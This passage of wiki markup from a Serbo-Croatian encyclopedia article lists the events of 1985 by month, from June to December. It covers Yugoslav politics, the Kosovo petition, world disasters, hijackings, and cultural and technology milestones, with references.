rat]]: poslednja, deveta [[Pandžširske ofenzive|Pandžširska ofenziva]], sovjetska odmazda za uništenje afganskog garnizona u Pešguru. Ovo je bila najkrvavija godina rata. * [[17. 6.]] - U SAD pokrenut ''[[Discovery Channel]]''. * [[23. 6.]] - [[Air India let 182]] raznet bombom u vazduhu južno od Irske, poginulo 329 osoba. Istog dana eksplodirala bomba u prtljagu na tokijskom aerodromu Narita, namenjena drugom indijskom avionu - počinitelji su teroristi siki. * [[25. 6.]] - [[Vidoje Žarković]] novi jednogodišnji predsednik Predsedništva CK [[SKJ]] nakon [[Ali Šukrija|Ali Šukrije]]. * [[jun]] - [[Inflacija]] u Jugoslaviji 70-75%. * jun? - Meksikanac [[Roberto Salinas Price]] objavio knjigu "Homerova slepa publika" u kojoj tvrdi da je [[Troja]] bila u [[Gabela|Gabeli]]. Srpskohrvatski prevod objavljen u septembru, kada je Price posetio Beograd i Čapljinu. === Jul/Juli/Srpanj === * [[2. 7.]] - Sin Andrije Artukovića tužio američku vladu za kršenje ustavnih prava njegovog oca, traži 10 miliona dolara odštete. * 2. 7. - [[Eduard Ševarnadze]] je novi ministar inostranih poslova SSSR (do 1990/91) umesto [[Andrej Gromiko|Andreja Gromika]] koji kasnije tokom meseca postaje predsednik Prezidijuma Vrhovnog sovjeta (do 1988). * [[4. 7.|4]] - [[5. 7.]] - U Đakovu se održava crkvena proslava 1100-godišnjice [[Metodij Solunski|Metodijeve]] smrti; vatikanski državni sekretar, kardinal [[Agostino Casaroli]] je u poseti Hrvatskoj. U Čehoslovačkoj se manifestacije održavaju u [[Velehrad]]u, masovno okupljanje dobija antirežimski karakter. * [[jul]] - Milka Planinc u poseti [[SSSR]]. [[Datoteka:Back-to-the-future-logo.svg|mini|''[[Back to the Future]]'']] * [[3. 7.]] - Premijera filma ''[[Back to the Future]]'' u SAD - najunosniji film ove godine, na prvom mestu 11 od prvih 12 sedmica. * [[7. 7.]] - [[Boris Becker]] (17) pobedio na [[Wimbledonski teniski turnir|Wimbledonu]]. * [[9. 7.]] - Predsjedništvo CK SKJ razmatra ostvarivanje Platforme o Kosovu, prvi put od 1981. Debatu je inicirao preds. CK SKS [[Ivan Stambolić]], jer je Kosovo opet sigurnosno pitanje<ref> Jović 2003, 353</ref> (prošireno Predsedništvo raspravlja 23. 7.). Izveštaj Kučanove radne grupe ovog meseca podržava glavne srpske zahteve na Kosovu, jer nije ispunjeno pravo srpskog naroda, kao i drugih u SFRJ, na vlastitu državu jer ustavni principi da su pokrajine deo Srbije nisu uvek sprovođeni u praksi.<ref> Jović 2003, 358</ref> * 9. 7. - Skandal sa [[dietilen glikol]]om u austrijskom vinu: nemačko savezno ministarstvo zdravlja upozorilo da se ne kupuju vina iz te zemlje. * [[10. 7.]] - Francuski tajni agenti na [[Novi Zeland|Novom Zelandu]] eksplozivom potapljaju [[Greenpeace]]ov brod ''[[Rainbow Warrior]]''. [[Datoteka:Live Aid at JFK Stadium, Philadelphia, PA.jpg|mini|200px|[[Live Aid]] (Philadelphia)]] * [[13. 7.]] - Rok koncerti pod nazivom „[[Live Aid]]“ u organizaciji pevača i humanitarnog radnika [[Bob Geldof|Boba Geldofa]] održani naporedo u [[London]]u i [[Filadelfija|Filadelfiji]]. Preko 60 miliona dolara je bilo prikupljeno. Televizijski prenos koncerta je pratilo oko 1,5 milijardi gledalaca širom sveta. * 13. 7. - Sovjetski [[Skok s motkom|skakač motkom]] [[Sergej Bubka]] prvi put u istoriji tog sporta preskočio šest metara u Parizu, čime je postigao i svetski rekord. * 13. 7. - [[George H. W. Bush]] bio osam sati v. d. predsednika SAD tokom operacije predsednika Regana. * [[jul]] - Četrdeset nealbanskih pisaca se u pismu Udruženju književnika Srbije žali na diskriminaciju u kosovskom udruženju. * [[18. 7.]] - Potpisan Društveni dogovor o jedinstvenom gorivnom ciklusu i tipu nuklearnih elektrana, nakon trogodišnjeg usaglašavanja: predviđa se da SFRJ do kraja veka ima dve nove nuklearke i dve u izgradnji, počevši od [[Prevlaka (Rugvica)|Prevlake]], na Savi kod Ivanić-grada (nakon nesreće u Černobilju 1986. uveden moratorijum). * [[19. 7.]] - Hleb u SFRJ poskupeo 35%, skok cena i ostale hrane i energije (godišnja inflacija u junu iznosila 76%). * 19. 7. - Pucanje dve brane u Val di Stava blizu [[Tesero, Trento|Tesera]] na severu Italije, 268 mrtvih, srušene 63 zgrade i osam mostova. * [[20. 7.]] - Vanredno stanje u 36 okruga Južne Afrike usled rasnih nemira. * 20. 7. - Britanski obaveštajci uspeli izvući puk. KGB [[Oleg Gordijevski|Olega Gordijevskog]] iz SSSR. * [[20. 7.|20]] - [[27. 7.]] - 32. [[Pulski filmski festival]]: [[Velika zlatna arena za najbolji film|Velika zlatna arena]] za film "[[Otac na službenom putu]]"<ref>[http://arhiv.pulafilmfestival.hr/32-pulski-filmski-festival/ 32. Pulski filmski festival]{{Dead link|date=November 2022 |bot=InternetArchiveBot |fix-attempted=yes }}. arhiv.pulafilmfestival.hr</ref>. * [[23. 7.]] - Firma [[Commodore International]] predstavila računar ''[[Amiga 1000]]'' (osn. konfiguracija sa monitorom $1595). [[Datoteka:Red Yugo GV in Junction Triangle, Toronto, Canada 2.jpg|mini|250px|[[Jugo]] u Americi (Kanadi)]] * 23. 7. - Krenuo prvi kontigent [[Jugo|Juga]] iz Kragujevca u Ameriku. * [[24. 7.]] - Pandžapski sporazum ili Sporazum Rajiv-Longowal: sporazum između indijske vlade i Sika - s obe strane ima osporavanja, Harcharan Singh Longowal ubijen nepunih mesec dana kasnije. * [[25. 7.]] - Objavljeno da [[Rock Hudson]] ima [[AIDS]] - umire početkom oktobra, a bolest dolazi u fokus javnosti. * [[27. 7.]] - Predsednik [[Uganda|Ugande]] [[Milton Obote]] oboren u vojnom udaru, slede [[Bazilio Olara-Okello]] i [[Tito Okello]], dok pobunjenički pokret [[Yoweri Museveni|Yowerija Musevenija]] ne uzme vlast sledećeg januara. * [[29. 7.]] - [[Alan Garcia]] inaugurisan za novog predsednika [[Peru]]a i s 36 godina postao najmlađi šef države na svetu (1985-1990 i 2006-2011). * [[30. 7.]] - Rezolucija CK SKJ u kojima se svojim članovima preti isključenjem ako odstupaju od politike CK (pokušaj ojačanja centralnog aparata u odnosu na republike i pokrajine). === Avgust/August/Kolovoz === * [[1. 8.]] - Puk. KGB Vitalij Jurčenko prebegao u Rimu na Zapad, ali u novembru odlazi u sovjetsku ambasadu u Vašingtonu. * [[2. 8.]] - Delta Air Lines Flight 191: avion pao zbog mikrobursta pred sletanje u Dallas, poginule 136 od 163 osobe u avionu i vozač na zemlji. * [[6. 8.]] - [[Víctor Paz Estenssoro]] po četvrti put predsednik [[Bolivija|Bolivije]] (do 1989); zemlja je u dužničkoj krizi i hiperinflaciji zbog čega se uvode neoliberalne reforme - Vrhovni dekret 21060 od 29. avgusta, savetodavac [[Jeffrey Sachs]]. * [[7. 8.]] - Vrhovni sud SR Srbije smanjio kazne disidentima: Milanu Nikoliću sa 18 na osam meseci, Miodragu Miliću sa 24 na 18 meseci, Dragomir Olujić oslobođen kazne (nisu bili u zatvoru). * 7. 8. - Novinari BBC štrajkuju zbog otkazivanja dokumentarca o IRA-i. [[Datoteka:JAT 737-300 (8543043385).jpg|mini|250px|YU-AND, prvi JAT-ov [[Boeing 737 Classic|Boeing 737-300]]]] * [[8. 8.]] - Prvi [[Boeing 737 Classic|Boeing 737-300]] sleće u Beograd - [[JAT]] je prva evropska kompanija koja je nabavila ovaj model<ref>[https://www.exyuaviation.com/2020/12/worlds-oldest-passenger-737-300-in.html World’s oldest passenger 737-300 in operation turns 35]. exyuaviation.com</ref> i koji će služiti do 2021. * [[12. 8.]] - Japan Airlines Flight 123: u avionskoj nesreći „Boinga 747“ japanske kompanije „Jal“, na planini Osutaka blizu [[Tokio|Tokija]] preživelo četvoro od 524 putnika i članova posade - najgora nesreća sa jednim avionom. * [[14. 8.]] - [[Oružani konflikt u Peruu]] &mdash; Masakr u Accomarci: vojska ubila 69 seljana * [[15. 8.]] - [[Južna Afrika|Južnoafrički]] predsednik [[P. W. Botha]] drži "Rubikonski govor": ne želi da menja [[apartheid]], neće pustiti [[Nelson Mandela|Mandelu]] - ovo vodi pojačanoj izolaciji zemlje i pogoršanoj ekonomiji. * [[avgust]] - Zatvorska kazna [[Vojislav Šešelj|Vojislavu Šešelju]] skraćena sa 4 godine na 22 meseca (uhapšen [[1984]], biće pušten [[1986]].). * avgust - U SAD stigla prva pošiljka od 500 automobila [[Jugo]]<ref>[http://www.upi.com/Archives/1985/11/21/More-Yugos-arrive-for-US-sale/1923501397200/ More Yugos arrive for U.S. sale]. upi.com Archives Nov. 21, 1985</ref>. * avgust - Sovjetski Savez zaključio ribarski sporazum sa [[Kiribati]]ma, što izaziva sumnju da Sovjeti žele bazu u južnom Pacifiku. * ca. 16. 8. - Požari oko Dubrovnika i na Korčuli, petoro mrtvih, oštećene instalacije na Ćilipima<ref>[http://www.upi.com/Archives/1985/08/17/Rescue-workers-recovered-four-charred-bodies-Saturday-raising-the/9062493099200/ Rescue workers recovered four charred bodies Saturday, raising the...]. upi.com Archives Aug. 17, 1985</ref>. * [[17. 8.]] - U eksploziji automobila-bombe u hrišćanskom delu Bejruta poginulo je 60 i povređeno sto ljudi. * [[20. 8.]] - [[Iran-Kontra afera]]: isporučena prva pošiljka oružja Iranu (antitenkovske rakete) u zamenu za puštanje talaca iz Libana; profit od prodaje američkog oružja namenjen [[kontraši]]ma u Nikaragvi, protivno Bolandovom amandmanu. Isporuke traju do oktobra 1986. a javnosti su otkrivene sledećeg meseca. * [[22. 8.]] - Objavljeno da je otkriveno deset slučajeva [[AIDS]]-a tokom testiranja osoba s rizičnim ponašanjem u [[Zagreb]]u. * 22. 8. - British Airtours Flight 28M: motor se zapalio tokom poletanja u Manchesteru, 55 od 137 se nije uspelo evakuisati na vreme. * [[25. 8.]] - U avionskom udesu poginula [[Samantha Smith]] (13), koja se proslavila time što je napisala pismo [[Jurij Andropov|Juriju Andropovu]], koji ju je zatim pozvao u posetu [[SSSR]], čime je postala "ambasador dobre volje" između SAD i SSSR. * [[27. 8.]] - Predsednik [[Nigerija|Nigerije]] gen. [[Muhammadu Buhari]] zbačen u vojnom udaru, sledi gen. [[Ibrahim Babangida]] (do 1993, a Buhari će se vratiti kao demokratski izabran predsednik 2015). * avgust, krajem - Sovjetski glumac [[Oleg Vidov]] stigao u SAD (od 1983. do prošlog maja je živeo u Jugoslaviji). * [[31. 8.]] - U Los Angelesu uhvaćen serijski ubica [[Richard Ramirez]]. === Septembar/Rujan === * [[1. 9.]] - Američko-francuska ekspedicija locirala ''[[Titanic]]''. * [[3. 9.]] - U saobraćajnoj nesreći na putu Beograd - Novi Sad, poginuo [[Dragan Mance]] (23), fudbaler [[FK Partizan|Partizana]] i idol [[Grobari|Grobara]]. * 3. 9. - U Mostaru osuđena šestočlana grupa optužena za pripadanje četničkoj emigraciji, Risto Radović tri i po godine zatvora. * [[4. 9.]] - Pobunjenici oborili putnički avion An-26 kod [[Kandahar]]a, 52 mrtvih. * ca. 5. 9. - Amerikanci čekaju u redu da kupe Jugo<ref>[http://www.upi.com/Archives/1985/09/05/Florida-likes-Yugo-even-those-who-havent-seen-it/1980494740800/ Florida likes Yugo, even those who haven't seen it]. upi.com Archives Sept. 5, 1985</ref>. Po ceni od $ 3.990, to je najjeftiniji auto na tržištu. * [[13. 9.]] - U Japanu izdata platformska video igrica ''[[Super Mario Bros.]]''. * 13. 9. - [[Manuel Noriega|Norijegin]] protivnik [[Hugo Spadafora]] brutalno ubijen u Panami. * [[septembar]] - Dogovoren reprogram dugova Jugoslavije komercijalnim zajmodavcima. * [[17. 9.]] - [[Steve Jobs]] prinuđen na ostavku u [[Apple Inc.]] - Macintosh se slabo prodaje jer je skuplji od PC klonova (vratiće se u firmu 1997). * [[19. 9.]] - U [[potres u Meksiku 1985.|snažnom potresu]] od 8.1 u [[Mexico City]]u poginulo 12.000 ljudi, a ozlijeđeno njih 40.000. * 19. 9. - [[Dee Snider]], pevač grupe ''[[Twisted Sister]]'', svedoči pred Senatom SAD nakon što je par njihovih pesama pomenuto prilikom saslušanja - komitet ''[[Parents Music Resource Center]]'' želi da pojača roditeljsku kontrolu nad muzikom koju deca slušaju. * [[21. 9.]] - Princ [[Aleksandar II Karađorđević]] se u Londonu oženio sa [[Katarina Batis|Katarinom Batis]] iz Atine. * 21. 9. - Prva razmena poseta razdvojenih porodica [[Severna Koreja|Severne]] i [[Južna Koreja|Južne Koreje]] od 1945, sledeći put tek 2000. * [[22. 9.]] - Francuski premijer [[Laurent Fabius]] priznao da su francuski tajni agenti, na osnovu naređenja vlade, potopili u Novom Zelandu brod „[[Rainbow Warrior (1955)|Dugin ratnik]]“ organizacije „[[Greenpeace|Grinpis]]“ - organizacija je vodila kampanju protiv francuskih nuklearnih proba. * 22. 9. - [[Sporazum iz Plaze]]: vlade SAD, Japana, Zapadne Nemačke, Francuske i Velike Britanije dogovorile da će spustiti kurs dolara putem intervencije na valutnim tržištima - dolar je apresirao 50% tokom 1980-85, opašće 51% prema jenu tokom 1985-87. * [[23. 9.]] - Napuljski novinar Giancarlo Siani ubijen od Camorre. * [[27. 9.]] - [[Nikolaj Riškov]] je novi predsednik Saveta ministara SSSR umesto [[Nikolaj Tihonov|Nikolaja Tihonova]] (do 1991), * [[28. 9.]] - Rasni neredi u londonskom [[Brixton]]u, nakon što je policija upucala ženu u njenoj kući. * 28. 9. - Jak zemljotres u području [[Demir Kapija]] - [[Negotino]], ima materijalne štete i nekoliko povređenih. === Oktobar/Listopad === * [[1. 10.]] - Operacija Drvena noga - Izraelci uništili sedište [[PLO]]-a u [[Tunis]]u, poginulo do 60 Palestinaca i veći broj Tunižana. * [[2. 10.]] - Gen. sek. [[Mihail Gorbačov]] u prvoj inostranoj poseti, u Parizu: ostavlja dobar utisak, predlaže prepolovljenje nuklearnog arsenala. * ca. 2. 10. - Nizak vodostaj reka usled suše (Sava, Kupa, Velika Morava...).<ref>[https://istorijskenovine.unilib.rs/view/index.html#panel:pp|issue:UB_00064_19851003|page:1 "Borba", 3. okt. 1985]</ref> * [[3. 10.]] - [[Space Shuttle Atlantis]] poleteo na prvu misiju - ukupno 33 do 2011. * 3. 10. - U Granadi potpisana [[Konvencija o zaštiti arhitektonskog nasleđa Evrope]]. * [[4. 10.]] - [[Richard Stallman]] osniva [[Fondacija za slobodni softver|Fondaciju za slobodni softver]], neprofitnu organizaciju da bi pružala logističku, pravnu i finansijsku podršku projektu [[GNU]]. [[Datoteka:Achille39.jpg|mini|200px|''Achille Lauro'']] * [[7. 10.]] - Palestinci su oteli putnički brod ''[[Achille Lauro]]'' kako bi ucjenom oslobodili 50 zatvorenika iz izraelskih zatvora. Ubijen jedan Amerikanac, invalid. * [[9. 10.]] - Otmičari sa Akile Laura su se predali egipatskim vlastima koje su im odobrile da odlete u Tunis. * 9. 10. - "[[Jugo]]" zvanično predstavljen američkom tržištu u Njujorku. * [[10. 10.]] - Četiri američka lovca, sa nosača USS Saratoga, presrela su egipatski avion sa otmičarima italijanskog putničkog broda „Akile Lauro“ i primorali ga da sleti na Siciliju, gde su otmičari uhapšeni. U avionu je bio i lider [[Palestinski oslobodilački front|Palestinskog oslobodilačkog fronta]] [[Abu Abas]], * [[12. 10.]] - Italijani pustili Abu Abasa da ode u Jugoslaviju. Pošto ona ima diplomatske odnose sa [[PLO]], odbila je američke zahteve za njegovom ekstradicijom, tako da on odlazi dva dana kasnije (u [[Južni Jemen]] pa [[Irak]]) - jugoslovenska vlada je objasnila da je Abas putem pregovora sa otmičarima sprečio veću tragediju<ref>[http://www.upi.com/Archives/1985/10/13/The-government-officially-silent-on-a-US-extradition-request/1617498024000/ The government, officially silent on a U.S. extradition request,...]. upi.com Archives Oct. 13, 1985</ref><ref>[http://www.upi.com/Archives/1985/10/17/Yugoslavia-formally-rejected-a-US-request-for-extradition-of/7571498369600/ Yugoslavia formally rejected a U.S. request for extradition of...]. upi.com Archives Oct. 17, 1985</ref>. * 12. 10. - Američki nosač aviona ''[[USS Saratoga (CV-3)|USS Saratoga]]'' u poseti Dubrovniku. * ca. 15. 10. - Kod Makarske i Dubrovnika izgorelo 3.000 hektara borove šume, maslinjaka i makije. * [[15. 10.]] - U Strasbourgu potpisana [[Evropska povelja o lokalnoj samoupravi]]. * [[oktobar]] - Sastavljena [[Peticija 2016]] građana Kosova i Metohije<ref>[http://www.yurope.com/nasa-borba/arhiva/Apr97/2404/2404_26.HTM Članak iz Naše Borbe u kome je prenet tekst peticije]</ref> * oktobar - [[Milka Planinc]] nameravala dati ostavku zbog osporavanja ekonomskog programa<ref>{{Cite web |title=Od Novog vala do nove države - Ekonomska kriza i pokušaji stabilizacije |url=http://povijest.net/sadrzaj/hrvatska/sr-hrvatska/747-od-novog-vala-do-nove-drzave-2.html |access-date=2010-06-02 |archive-date=2010-01-13 |archive-url=https://web.archive.org/web/20100113120540/http://povijest.net/sadrzaj/hrvatska/sr-hrvatska/747-od-novog-vala-do-nove-drzave-2.html |dead-url=yes }}</ref>. Ona je ove godine faktički suspendirana,<ref> Jović 2003, 237</ref> (privatno je) podnijela ostavku ali ostaje kao neka vrsta vršitelja dužnosti do sljedeće godine.<ref> Jović 2003, 243</ref> * [[17. 10.]] - Italijanski premijer [[Bettino Craxi]] daje ostavku zbog krize sa otmicom Achile Lauro - predsednik Cossiga prvo daje novi mandat Craxiju, zatim 31. 10. odbija ostavku i nalaže glasanje o poverenju. * [[22. 10.]] - Predstavljen [[James Baker|Bakerov]] plan za pomoć visoko zaduženim srednje razvijenim zemljama - nije bilo konsenzusa oko toga koje zemlje bi bile uključene. * [[24. 10.]] - Štrajk žena na [[Island]]u. * [[26. 10.]] - [[Split]] dobio organizaciju [[Europsko prvenstvo u atletici 1990.|Europskog prvenstva u atletici 1990.]] (pobeđen Helsinki sa 116 prema 92 glasa). * 27. 10. - Predsednik CK SKS Ivan Stambolić govori u Valjevu:<ref>"Providne podvale nacionalista", Borba, 28. okt. 1985, str. 3</ref> "iznenađujući" antinacionalistički govor, šalje u ovo doba upozorenje SANU, Udruženju književnika i medijima da se neće dozvoliti okupljanje nacionalista i da oni žive od državnog novca - to mu neće biti zaboravljeno, kritička inteligencija ga smatra "izdajnikom srpskih interesa".<ref> Jović 2003, 352</ref> === Novembar/Studeni === * [[6. 11.]] - Socijaldemokrata [[Aníbal Cavaco Silva]] postaje premijer Portugala (do 1995, predsednik Republike 2006-2016). * 6. 11. - Kolumbijski [[Pokret 19. april]] (M-19) zauzeo Palatu pravde u Bogoti i uzeo Vrhovni sud za taoce - u napadu vojske zatim gine preko 100 ljudi, uključujući komandante M-19 i polovinu sudija. * [[9. 11.]] - [[Gari Kasparov]] (22) postao [[šah]]ovski prvak sveta, pobedivši [[Anatolij Karpov|Anatolija Karpova]] sa 13:11. [[Datoteka:Armerodisaster.png|mini|left|200px|Katastrofa u Armeru]] * [[13. 11.]] - Erupcija vulkana [[Nevado del Ruiz]] u [[Kolumbija|Kolumbiji]] izaziva smrt 23.000 ljudi u gradu [[Armero]]. * [[15. 11.]] - Umro predsjednik Predsjedništva SR Hrvatske [[Pero Car]], nasljediće ga [[Ema Derossi-Bjelajac]]. * 15. 11. - Potpisan [[Anglo-irski sporazum]]: Republika Irska će dobiti savetodavnu ulogu u vladi Severne Irske - protestantski lojalisti su uglavnom nezadovoljni. * [[novembar]] - Otpuštena dva producenta na zagrebačkom Omladinskom radiju ([[Radio 101]]), "nemi" protest na Trgu Republike ([[Trg bana Jelačića]]). * novembar - Zagrebački omladinski časopis "[[Polet]]" je "prisiljen zaustaviti svoje kritički inspirirane interpretacije hrvatske i jugoslavnske zbilje", smanjena mu je naklada.<ref> Jović 2003, 324</ref> * novembar - Počinju protesti protiv režima [[Jean-Claude Duvalier]]a na [[Haiti]]ju - na studente je pucano ali pokret raste dok Duvalier ne pobegne iz zemlje sledećeg februara. * [[16. 11.]] - Sastanak slovenačkih i srpskih opozicionih intelektulaca, iz Odbora za zaštitu sloboda umetničkog izražavanja odn. urednika "Nove revije", u [[ljubljana|ljubljanskoj]] kafani "Mrak": Ćosić je "šokiran", Slovenci žele u Europu a ne Jugoslaviju, poručuju da bi i Srbi trebali odbaciti "svaki internacionalizam i univerzalizam".<ref> Jović 2003, 427</ref> ** Urednici "Nove revije", [[Niko Grafenauer]] i [[Dimitrij Rupel]], pozvali su ove godine saradnike da napišu priloge za poseban broj o slovenačkom nacionalnom pitanju (objavljen u januaru 1987, odloženo zbog reakcija na Memorandum SANU).<ref> Jović 2003, 432</ref> [[Datoteka:Reagan and Gorbachev (1985).jpg|mini|150px|[[Ženevski samit (1985)|Ženevski samit]]]] * [[18. 11.]] - Posle 30 godina završena proizvodnja [[Zastava 750|Zastave 750]] - Fiće. * 18. 11. - Završena je zgrada banke HSBC u Hong Kongu (zvanično otvorena sledećeg aprila), tada najskuplja zgrada na svetu, od oko 668 miliona dolara. * [[19. 11.|19]] - [[20. 11.]] - [[Ženevski samit (1985)|Ženevski samit]] je prvi sastanak američkog predsjednika [[Ronald Reagan|Reagana]] i sovjetskog sekretara [[Mihail Gorbačov|Gorbačova]] - glavna tema je kontrola naoružanja. * [[20. 11.]] - [[Microsoft]] izdaje [[Windows 1.0]]. * [[23. 11.]] - [[Abu Nidal]]ova organizacija otela avion EgyptAir Flight 648 - u napadu egipatskih trupa na Malti poginulo 60 ljudi (bio je to isti avion kojim su leteli otmičari sa Achile Lauro prošlog meseca, a bio je otiman i 1976). * [[25. 11.]] - Južnoafričke specijalne snage oborile [[Aeroflot]]ov kargo avion iznad [[Angola|Angole]] - 21 mrtvi. * [[27. 11.]] - [[TE Ugljevik]] kod [[Bijeljina|Bijeljine]] u redovnom pogonu, snaga 279 MW. * 27. 11. - Prikazan film ''[[Rocky IV]]'' (sa sovjetskim oponentom). === Decembar/Prosinac === * [[4. 12.]] - Australian Open: [[Slobodan Živojinović]] pobedio [[John McEnroe|Johna McEnroea]] u četvrtfinalu. * [[6. 12.]] - Jugoslovenska i austrijska policija uhapsile četvoročlanu grupu Jugoslovena zbog kidnapovanja i krijumčarenja dece za džeparenje i prošnju u Italiji<ref>[http://www.upi.com/Archives/1985/12/08/Four-arrested-in-child-smuggling-ring/4366502866000/ Four arrested in child-smuggling ring]. upi.com Archives Dec. 8, 1985</ref>. Nekoliko dana kasnije policija pretražuje Napulj i okolinu za "decom robovima" iz Jugoslavije. Nagađa se da je 10.000 romske dece prodato u Italiju od 1975<ref>[http://www.upi.com/Archives/1986/01/05/Child-slavery-in-the-20th-century/2997505285200/ Child slavery in the 20th century]. upi.com Archives Jan. 5, 1986</ref>. * [[8. 12.]] - Osnovana [[Južnoazijska asocijacija za regionalnu saradnju]] (SAARC). [[Datoteka:5000-Yugoslav-dinar-1985 09.jpg|mini|250px|Novčanica od 5.000 dinara ("pola miliona" starih)]] * [[9. 12.]] - Novčanica od 5.000 dinara sa Titom ušla u opticaj - nisu se svi slagali sa stavljanjem Tita na novčanicu, s obzirom na inflaciju. Prosečna plata je 40.000 dinara ili 133 dolara<ref>[http://www.upi.com/Archives/1985/12/09/Foreign-News-Briefs/3422502952400/ Foreign News Briefs]. upi.com Archives Dec. 9, 1985</ref> (ekvivalent 298 dolara iz 2016). Ovo je prva novčanica sa novim dizajnom. * 9. 12. - "Naftni kontrašok": [[Saudi Arabija]] napušta politiku odbrane cene nafte, uvećava proizvodnju, što dovodi do pada cene sa 23 na 10 dolara sledećeg leta. * 9. 12. - Suđenje huntama u [[Argentina|Argentini]]: bivši predsednik general [[Jorge Rafael Videla]] i njegov sledbenik, član vojne hunte, admiral Emilio Masera, osuđeni na doživotnu robiju zbog učešća u ratu protiv gradske gerile i političkih protivnika, tokom kojeg je nestalo 9.000 ljudi. * 9. 12. - Generalna skupština Ujedinjenih nacija jednoglasno prihvatila rezoluciju kojom se svi akti [[terorizam|terorizma]] osuđuju kao kriminal. * [[12. 12.]] - Arrow Air Flight 1285: avion sa američkim vojnicima pao na Njufaundlendu, 256 mrtvih. * [[13. 12.]] - Marijana Keča (9) silovana i zadavljena u Kanjiži - počinilac Laslo Egete streljan 1988<ref>[https://www.blic.rs/vesti/tema-dana/sramota-je-jevtovica-kazniti-zatvorom/nrplvc6 Sramota je Jevtovića kazniti zatvorom]. blic.rs 27.07.2005.</ref>. * decembar - Počelo potpisivanje Peticije 2016 (po broju prvobitnih potpisnika) među Srbima i Crnogorcima na [[Kosovo|Kosovu]]. Njome se traži zaštita njihovih osnovnih građanskih prava. ** Traži se povratak iseljenih Srba, ukidanje zastave albanske narodnosti, rehabilitaciju političara koji su ukazivali na kosovski problem ([[Dobrica Ćosić]]), primenu srpskog zakona o jeziku, smenu "velikoalbanskih šovinista" i "srpskih oportunista", deportaciju "260.000 albanskih imigranata" (zvanična cifra je manje od 1.400), poništenje kupoprodajnih ugovora između albanskih kupaca i srpskih prodavaca. Peticiju je podržalo oko 200 srpskih intelektualaca, uključujući 35 akademika.<ref name="Jovic355" /> * [[16. 12.]] - [[John Gotti]] postaje šef mafijaške familije Gambino nakon ubistva Castellana i Bilottija u New Yorku. * [[17. 12.]] - [[George P. Shultz]], državni sekretar SAD, u poseti Beogradu tokom evropske turneje, nezadovoljan jugoslovenskim stavom u vezi Abu Abasa u oktobru, lupao šakom u sto tokom sastanka sa sekretarom inostranih poslova [[Raif Dizdarević|R. Dizdarevićem]]<ref>[http://www.upi.com/Archives/1985/12/17/Red-faced-Shultz-pounds-table-in-outburst/2968503643600/ Red-faced Shultz pounds table in outburst]. upi.com Archives Dec. 17, 1985</ref>. * [[18. 12.]] - Jugoslavija potpisala sporazum o refinansiranju dugova sa komercijalnim bankama vredan 3,8 milijardi dolara<ref>[http://www.upi.com/Archives/1985/12/18/Yugoslavia-signs-38-billion-multi-year-refinancing/6149503730000/ Yugoslavia signs $3.8 billion multi-year refinancing]. upi.com Archives Dec. 18, 1985</ref>. * [[21. 12.]] - Bokser [[Slobodan Kačar]] osvojio IBF titulu, pobedom na poene nad Amerikancem Eddie Mustafa Muhammadom u italijanskom Pezaru. * [[25. 12.|25]] - [[30. 12.]] - Oružani sukob između [[Mali]]ja i [[Burkina Faso|Burkine Faso]] oko pojasa Agacher. * [[26. 12.]] - Uhapšena 94 kosovska Albanca, optuženi da pripadaju tajnoj separatističkoj grupi. * [[27. 12.]] - [[Napadi na aerodrome u Rimu i Beču]], prilikom kojih teroristi [[Abu Nidal]]a ubijaju 18, a ranjavaju 120 ljudi. * 27. 12. - U [[Ruanda|Ruandi]] ubijena primatologinja [[Dian Fossey]]. * 27. 12. - Savezna skupština usvojila zakon po kome su svi predmeti koje je Tito stekao kao šef države društveno vlasništvo, nakon što je Jovanka Broz zatražila svoj deo<ref>[http://www.upi.com/Archives/1985/12/29/Foreign-News-Briefs/7990504680400/ Foreign News Briefs]. upi.com Archives Dec. 29, 1985</ref>. * [[28. 12.]] - Trojni sporazum u Libanu između šiita, druza i hrišćana ([[Nabih Berri]], [[Walid Jumblat]] i [[Elie Hobeika]]), kojim bi Sirija dobila veliki uticaj u zemlji - Hobeika je sledećeg meseca zbačen zbog ovoga. * krajem godine - Zajednička sednica Savezne vlade i Predsedništva - na "ledu" antiinflacioni program i Milka Planinc<ref name="Boarov"/> === Kroz godinu === * [[Svjetsko stanovništvo]]: 4.830.979.000. * [[Demografija Socijalističke Federativne Republike Jugoslavije|Demografija SFRJ]]: procenjeno 23.121.383 stanovnika; 146,9 razvoda na 1.000 brakova je najviša cifra u istoriji zemlje; stopa plodnosti od ove godine stalno ispod 2,1. * Pad povjerenja u sistem i Partiju: 50% mladih u SFRJ ne želi postati član SKJ, prema 9% 1974. (Slovenija 32→88%, Hrvatska 13→70%, Vojvodina 4→54%, Srbija 6→40%).<ref> Jović 2003, 326</ref> * Otkriven [[bakminsterfuleren]] ([[ugljenik|C]]₆₀). * Knjige: ** [[Veselin Đuretić]]: "Saveznici i jugoslovenska ratna drama" ** [[Danko Popović]]: "Knjiga o Milutinu" (roman) ** [[Dobrica Ćosić]]: "Grešnik" (prvi deo trilogije "Vreme zla"). ** [[Dimitrije Bogdanović]]: "Knjiga o Kosovu" (istorijska studija) * Privremeno zaustavljena gradnja [[Zagrebačka džamija|Zagrebačke džamije]]; nije data dozvola za podizanje pravoslavne crkve u [[Split]]u. * Početak gradnje velike Sveučilišne bolnice u Zagrebu, koja nikada neće biti završena. * [[Rudolf Bruči]] napisao operu u tri čina [[Gilgameš (opera)]] povodom 125. godišnjice [[Srpsko narodno pozorište|Srpskog narodnog pozorišta]]. * [[Monika Seleš]] sa 11 godina osvaja juniorski turnir Orange Bowl na Floridi. * Na Savetu Evropske unije u Milanu je donesena odluka da se 9. maj svake godine obeležava kao [[Dan Evropske unije]] * [[Amfilohije Radović]] izabran je za episkopa banatskog sa sedištem u [[Vršac|Vršcu]]. * U [[Socijalistička Republika Rumunija|Rumuniji]] zimska temperatura u stanovima ograničena na 12&nbsp;°C. * Pokrenuta [[EUREKA]], evropska međuvladina organizacija za finansiranje i koordinaciju istraživanja i razvoja. * [[Sony]] lansirao format [[Video8]] a [[Panasonic]], [[RCA]] i [[Hitachi]] prave [[kamkorder]]e sa punim [[VHS]] formatom. == 1985. u temama == * [[Televizija]]. TV serije: "Erićijada", "Ljubavne priče", "Razbibriga" (TV Beograd); "Hajdučki gaj" (TV Zagreb); "Brisani prostor", "Priče iz fabrike" (TV Sarajevo). * Neki [[Popis jugoslavenskih filmova|domaći filmovi]]: "[[Otac na službenom putu]]", "[[Bal na vodi (film, 1985)|Bal na vodi]]", "[[Nije lako sa muškarcima]]", "[[Ćao, inspektore]]", "[[Život je lep (1985)|Život je lep]]", "[[Jagode u grlu]]", 